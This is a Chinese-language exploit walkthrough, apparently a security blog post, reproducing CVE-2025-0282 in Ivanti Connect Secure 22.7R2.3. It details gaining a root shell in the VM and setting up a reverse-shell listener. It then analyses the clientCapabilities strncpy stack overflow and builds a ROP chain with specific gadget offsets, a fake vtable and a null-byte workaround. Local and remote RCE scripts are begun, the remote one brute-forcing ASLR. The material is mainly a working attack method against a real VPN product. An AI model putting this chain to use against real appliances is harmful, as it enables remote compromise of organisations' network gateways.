实验对象:Ivanti Connect Secure 22.7R2.3
[[CVE]]
虚拟机下载
环境配置
使用vm打开后,配置如下内容


对进行配置的ip访问,成功启动
后续我们需要将虚拟机中的文件下载下来
首先在这个页面进行等待,直到出现红框中的超时信息,保存快照,挂起虚拟机
在虚拟机文件夹中找到对应文件,使用010打开

将文件中所有的/home/bin/dsconfig.pl 字符串为 ///////////////bin/sh/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后等待控制台界面超时后按“回车”,即可获取底层shell
成功拿到shell
1 | nc -lvp 4444 #s宿主机设置监听 |
为了后续方便操作,我们先反弹shell出来再进行操作

没有python3 ,只有python2,使用python2的
1 | iptables -L -n #查看当前服务器放行的端口 |

需要下载的文件在 /home/bin 下的 web 和lib中的 libdsplibs.so
我们还需要传入 gdbserver 来进行后续的调试
在虚拟机中使用cat写传输脚本(因为在Ivanti Connect Secure模拟中没有vim和vi,只能通过cat写入)
在tmp文件夹中写入
1 | cat > read.py << 'EOF' |
ubuntu 发送
1 | import http.server |
将 gdbserver 和 busybox 传入
[gdbserver](hugsy/gdb-static: Public repository of statically compiled GDB and GDBServer)
漏洞复现
漏洞在web文件中的 `sub_E3540`

创建一个 DSUtilMemPool 类,将v56作为传递参数
创建一个 EPMessage 类,将v54、v56作为传递参数
将键名为
clientIp 从a1+108 偏移处读取
clientHostName 从a1+124 偏移处读取
clientCapabilities 从a1+140 偏移处读取
其中 sub_11D6B8 函数
1 | int __cdecl sub_11D6B8(int a1, char *a2, DSUtilMemPool *a3) |
检测是否为空,如果不为空则从 a1 + 偏移处读取一个字符串指针,再以 “clientIp” 为键,存入 v54
在最后 clientCapabilities 中可以进行溢出
后续我们溢出到 sub_E4AD0 函数中,也是我们的漏洞触发函数
这是一个消息分发函数,负责处理来自IFT-TLS协议的各种消息类型。它根据消息的vendorId和type字段来决定如何处理不同的消息
needle 获取vendorId
TypeEv 获取消息类型
LenEv 获取消息长度
IdEv 获取消息ID
1 | s_1 = (const char *)sub_11D70E((int)v56, (char *)&IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES); |
我们来分析这个漏洞点代码
sub_11D70E
v56是 EPMessage 对象,强制转换为int类型
IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES 是一个字符串字面量,代表一个键或属性名(clientCapabilities\客户端能力) 用于在 EPMessage 中查找对应的值
返回值: 指向字符串的指针,如果字段不存在则返回NULL
再将 src_4 = s_1
1 | if ( s_1 ) |
memmove(*(void **)(a1 + 140), src_4, n_4);a1 + 140 : 获取 clientCapabilities 字符串的实际存储地址src_4: 源字符串指针-EPMessagen_4: 复制的长度

n_5 = *(_DWORD *)(a1 + 144) + 1; a1 + 144为clientCapabilities长度也就是之前的n_4,然后再进行+1strncpy(dest, *(const char **)(a1 + 140), n_5); 漏洞点
dest是栈上的char数组,大小256字节
a1 + 140是 clientCapabilities 字符串内容为DSStr的data指针,指向堆上的字符串
n_5 是clientCapabilities长度 + 1
且没有检测a1 + 140指向的内容长度是否大于256,而且clientCapabilities\客户端能力是我们可以控制输入的,存在溢出
后续在执行a1中的内容
汇编对应的内容 call dword ptr [eax+48h]

a1的栈地址是在ret后的
我们可以溢出的点是在-0x8ec上,在ida中计算的距离为2288
1 | mov edx, [esp+0A0Ch+var_9E0] |

对应大致流程
其中我们可以通过 call dword ptr [eax+48h] 进行跳转到gadget 抬栈和给ebx赋值
在调用 system() 的代码call system@plt system@plt 的实现:system@plt:
jmp [ebx + system@got_offset] ; 通过EBX+偏移找到GOT表项
push system_index
EBX必须指向正确的GOT基址,否则 jmp [ebx + offset] 会跳转到错误地址
所以我们要对ebx进行赋值基址
且漏洞利用使用 strncpy,遇到 \x00会截断,我们可以通过 GOT.PLT - 1 后再使用 inc ebx 对其 ebx+1 即可绕过\x00截断
gadget使用 libdsplibs.so 中的 0x9384A1,但是程序开启了pie保护,且并没有泄露出地址信息,所以要爆破 1/4096。
指向伪造的虚表,我们使用libc中的

在我们指向伪造的虚表地址+48就是我们构造rop链的地方
ROP链
1 | # 垃圾值填充到a1指针 |
我们使用之前传入的 gdbserver 来对程序进行调试
虚拟机
1 | chmod +x gdbserver |
宿主机
1 | gdb |

编写脚本来测试 strncpy 漏洞点 adc1.py
1 | #!/usr/bin/env python3 |
gdb调用脚本 gdb_1.txt
1 | # GDB 调试命令脚本 - CVE-2025-0282 |
运行
1 | gdb-multiarch -x gdb_1.txt |

src处就是我们输入的数据,可控
RCE
我们先打本地,先在模拟的主机端关闭pie保护
1 | echo 0 > /proc/sys/kernel/randomize_va_space |
本地RCE
1 | #设置监听 |
1 | #!/usr/bin/env python3 |

成功
远程RCE
因为程序开启了pie保护,且是32位,我们可以进行爆破,成功概率大概为 1/4096。
1 | #!/usr/bin/env python3 |
留言 / COMMENTS